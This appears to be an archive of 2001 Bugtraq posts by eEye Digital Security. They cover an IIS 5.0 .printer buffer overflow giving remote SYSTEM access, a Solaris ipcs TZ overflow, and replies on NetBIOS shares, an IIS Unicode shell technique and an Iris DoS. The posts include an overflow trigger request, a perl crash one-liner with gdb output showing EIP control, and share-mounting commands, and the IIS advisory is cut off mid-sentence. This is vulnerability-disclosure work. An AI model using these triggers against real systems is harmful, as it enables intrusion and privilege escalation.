Windows 2000 IIS 5.0 Remote buffer overflow vulnerability (Remote SYSTEM Level Access) Release Date: May 01, 2001 Severity: High (Remote SYSTEM level code execution) Systems Affected: Microsoft Windows 2000 Internet Information Services 5.0 Microsoft Windows 2000 Internet Information Services 5.0 + Service Pack 1 Description: A wise man once said, "When a single exploit is released, it's a good hack. When you are the first to hack each successive version of a product run on millions of computers all over the internet, you create a dynasty." It seems sometimes the greatest discoveries are the ones that are the hardest to share with the world. Its not about a lack of wanting to tell everyone but a lack of not knowing exactly how to put it so that peoples jaws do not drop so fast that their head snaps back as they realize just how fragile our world is becoming as we slowly push society into the digital world people only dreamed about years ago. A world in which everything is being connected and little is being done to shore up the large looming gaps that are in existance in todays networked systems. And without further ado... eEye Digital Security Presents, "Remote SYSTEM level Access to any default Windows 2000 IIS 5.0 web server." The Discovery: This bug was first discovered while Riley Hassel, of eEye Digital Security, was updating Retina's CHAM (Common Hacking Attack Methods) techonology to look for unknown vulnerabilities within some of the new features that Windows 2000 IIS 5.0 provides. One of the features that was added to be audited by CHAM was the .printer ISAPI filter extension. Once the .printer ISAPI filter was added to the list of ISAPI's to audit, as well as various aspects of the new Web DAV functionality within IIS, the latest Retina development code was let loose against a test server in our lab. Within a matter of minutes a debugger kicked in on inetinfo.exe because of a "buffer overflow error." The Explanation: It turns out the latest development code of Retina was able to find a buffer overflow within the .printer ISAPI filter (C:\WINNT\System32\msw3prt.dll) which provides Windows 2000 with support for the Internet Printing Protocol (IPP) which allows for the web based control of various aspects of networked printers. The vulnerability arises when a buffer of aprox. 420 bytes is sent within the HTTP Host: header for a .printer ISAPI request. Example: GET /NULL.printer HTTP/1.0 Host: [buffer] Where [buffer] is aprox. 420 characters. At this point an attacker has sucessfully caused a buffer overflow within IIS and has overwritten EIP. Now normally the web server would stop responding once you have "buffer overflowed" it. However, Windows 2000 will automatically restart the web server if it notices that the web server has crashed. While the feature is nice to help create a longer period of "up time" it is actually a feature that makes it easier for remote attacks to execute code against Windows 2000 IIS 5.0 web servers. As we stated earlier our overflow is able to overwrite the EIP register with whatever we want. That basically means we can overwrite EIP with a location in memory that jumps to our "exploit" code, in memory, and then executes our code with SYSTEM level access. The Exploit: Ryan Permeh, resident shellcode ninja, of eEye Digital Security has created an example exploit to be used as a "proof of concept." Our proof of concept exploit will, when run against an IIS 5 web server, create a text document on the remote server with instructions directing readers to a webpage on eeye.com that has information on how to patch the system so that the web server is no longer vulnerable to this flaw. This exploit is to only be considered a proof of concept exploit and any one with Windows 2000 should install the Microsoft supplied patch ASAP. Check back to our website later today as we posted a link to our proof of concept code. We would like to note that eEye Digital Security did provide Microsoft with a working example exploit that when ran against a web server would, in a matter of a few seconds, bind a cmd.exe command prompt to a port on a remote IIS 5.0 web server so that a remote attacker could then execute commands with SYSTEM level access and therefore have full control of the vulnerable machine. The Log: Actually there is no log because this vulnerability, like most IIS buffer overflows, does not go logged. That means some of the largest web servers on the Internet running Windows 2000 are vulnerable to this attack and when exploited, there will be no IIS log anywhere that records the attack. The Fallout: As with our first remote SYSTEM level exploit for IIS 4.0 2 years ago, the fallout from this second IIS remote overflow is also rather large. Once again it does not matter what kind of security systems you have in place, Firewalls, IDS's, etc.. because all of those systems can be bypassed and your web server CAN be broken into via this vulnerability. To quote our l
Solaris ipcs vulnerability
Solaris ipcs vulnerability Release Date: April 11, 2001 Systems Affected: Solaris 7 (x86) Other versions of Solaris are most likely affected also. Discovered by: Riley Hassell [EMAIL PROTECTED] Description: We have discovered a buffer overflow in the /usr/bin/i86/ipcs utility provided with Solaris 7. The problem exists in the parsing of the TZ (TIMEZONE) environment variable. By exploiting this vulnerability an attacker can achieve local sys group privileges. IPCS is used for gathering information on active inter-process communication facilities. Exploitation of this vulnerability would be very difficult, but not impossible. bash-2.03$ TZ=`perl -e 'print "A"x1035'` bash-2.03$ /usr/bin/i86/ipcs IPC status from as of Wed Apr 11 17:18:59 [buffer] 2001 Message Queue facility inactive. T ID KEY MODE OWNER GROUP Shared Memory: m 0 0x54d3 --rw-r--r-- root root Semaphore facility inactive. Segmentation Fault (core dumped) Note: [buffer] is any 1036 (or so) character string. A's... bash-2.03$ su root Password: # gdb /usr/bin/i86/ipcs core GNU gdb 5.0 Copyright 2000 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are #0 0x41414141 in ?? () (gdb) info reg eip eip 0x41414141 0x41414141 (gdb) Vendor Status: Sun Microsystems has been contacted. They are currently working on patches for this and other related vulnerabilities eEye has discovered. Workaround: chmod s /usr/bin/i86/ipcs This will remove the setgid bit from /usr/bin/i86/ipcs, therefore if someone does exploit this vulnerability, they wont gain higher privileges. Greetings: ADM, Ryan shellcode ninja Permeh, KAM, Lamagra, Zen-Parse, Loki, and last but not least Speakeasy.net Copyright (c) 1998-2001 eEye Digital Security Permission is hereby granted for the redistribution of this alert electronically. It is not to be edited in any way without express consent of eEye. If you wish to reprint the whole or any part of this alert in any other medium excluding electronic medium, please e-mail [EMAIL PROTECTED] for permission. Disclaimer The information within this paper may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties with regard to this information. In no event shall the author be liable for any damages whatsoever arising out of or in connection with the use or spread of this information. Any use of this information is at the user's own risk. Feedback Please send suggestions, updates, and comments to: eEye Digital Security http://www.eEye.com [EMAIL PROTECTED]
Re: Solaris Xsun buffer overflow vulnerability
Actually that was an error in our advisory. The correct (yet correct us if we are wrong again ;-]) information is: Solaris 7 and Solaris 8 x86 Xsun is suid Solaris 7 and Solaris 8 Sparc Xsun is sgid Signed, Marc Maiffret Chief Hacking Officer eEye Digital Security T.949.349.9062 F.949.349.9538 http://eEye.com/Retina - Network Security Scanner http://eEye.com/Iris/ - Network Traffic Analyzer "Walk on." |-Original Message- |From: Bugtraq List [mailto:[EMAIL PROTECTED]]On Behalf Of Leif |Sawyer |Sent: Wednesday, April 11, 2001 9:48 AM |To: [EMAIL PROTECTED] |Subject: Re: Solaris Xsun buffer overflow vulnerability | |Don't have a Solaris 7 box to check. Not sure why your Solaris 8 has |a SUID Xsun install, either. | |Leif
Re: Windows Sharing Allows Internet Tracking
I could be wrong about the following so let me know if you know for a _fact_ that I am. |-Original Message- |From: Bugtraq List [mailto:[EMAIL PROTECTED]]On Behalf Of |Preston W Chang |Sent: Wednesday, March 21, 2001 3:13 PM |To: [EMAIL PROTECTED] |Subject: Windows Sharing Allows Internet Tracking |Usually, many intruders will go in with |obreption and probably without anyone ever knowing without |some sort of IDS suite or logging system besides that of |NT's. |When logging into a share via NetBIOS, on a NT-to-NT |connection, the user connecting will have his/her Temporary |Internet Files transferred onto the server which they have |connected to. That is incorrect. When you connect to a netbios share, i.e. net use x: \\ip\terd$ bob /user:bob your temporary internet files are _not_ transferred. |You would find it in this type of path: |c:\winnt\profiles\Administrator\Temporary Internet Files. No. The only reason you came to this conclusion is because it "looks" like this is what is happening. C:\>net use q: \\ip\c$ bob /user:bob Then if you go an connect to q:\winnt\profiles\administrator\temporary internet files then yes you will get a listing of your local machines temp files and not the remote machines BUT those files are not stored on the remote machine, in fact Windows NT is actually redirecting your temp internet files request back to your local machine. So while it might look like the files have been transferred to the remote machine. They have not been. Load up filemon (sysinternals.com). |If |you believe that you are victim to an intruder, definitelySigned, |check this folder. I have examined many of the NT "rootkit" |techniques and suites, with none that include |cleaning out the transferred cache. That's because the cache doesn't get transferred. Well at least from what I have seen, I could be completely wrong. | Cheers, | Charles Chear [[EMAIL PROTECTED]] | http://presto.tpgn.net Marc Maiffret Chief Hacking Officer eEye Digital Security T.949.349.9062 F.949.349.9538 http://eEye.com/Retina - Network Security Scanner http://eEye.com/Iris/ - Network Traffic Analyzer
Re: shell on IIS server with Unicode using *only* HTTP
| -Original Message- | From: Bugtraq List [mailto:[EMAIL PROTECTED]]On Behalf Of Roelof | Temmingh | Sent: Wednesday, January 24, 2001 4:30 PM | To: [EMAIL PROTECTED] | Subject: shell on IIS server with Unicode using *only* HTTP | | Above procedure will drop you into a shell on the box | without crashing the server (*winks at Eeye*). Actually the reason the server crashed with our exploit (IISHack 1.5, if that's the one your talking of) was because we were not simply just copying a file in attempts to remotely get a cmd.exe prompt as IUSR_MACHINE because that's easy. Our exploit actually took the unicode attack a step further by exploiting a local buffer overflow within the .asp handler which then lead to us binding a cmd.exe prompt to a remote server as SYSTEM. URL to IISHack1.5 http://www.eeye.com/html/Advisories/IISHack1.5.html | This procedure is nice for servers that are very tightly | firewalled; servers that are not allowed to FTP, RCP or TFTP | to the Internet. | | 2. Unicodexecute version3 (unicodexecute3.pl) | same as before plus | -includes searches for alternative executable dirs | -more robust, stable than before | -checks for access denied etc. added | | | Regards, | Roelof. | | -- | Roelof W Temmingh SensePost IT security | [EMAIL PROTECTED] +27 83 448 6996 | http://www.sensepost.com Signed, Marc Maiffret Chief Hacking Officer eCompany / eEye T.949.349.9062 F.949.349.9538 http://eEye.com
Re: eEye Iris the Network traffic analyser DoS
This indeed is a bug in Iris 1.01 beta and it has been fixed within Iris 2.0. Iris 2.0 should be released within the next two days. All users of Iris 1.01 are being contacted and sent a url to 2.0 once it is released. The one thing to note is that someone has to actually click and view the "evil" packet in order for Iris to crash. If you simply open iris and start sniffing and receive the "evil" packet, without clicking to view it, then Iris will not crash. Thanks much to grazer for contacting us prior to posting to Bugtraq so that we could work on a fix for this problem. Signed, Marc Maiffret Chief Hacking Officer eCompany / eEye T.949.349.9062 F.949.349.9538 http://eEye.com | -Original Message- | From: Bugtraq List [mailto:[EMAIL PROTECTED]]On Behalf Of grazer | Sent: Sunday, January 21, 2001 6:27 PM | To: [EMAIL PROTECTED] | Subject: eEye Iris the Network traffic analyser DoS | | | Hi there, | | There exists a vulnerability that will cause the iris network | traffic analyser to hang. | I have included an exploit, that will demonstrate the bug, the | exploit will send a packet to the remote host, | when the remote host opens the packet (to examine it) iris will | quit, leaving an error message. | | Sincerely yours, | | Wouter ter Maat aka grazer | digit-labs information security | http://www.digit-labs.org | |
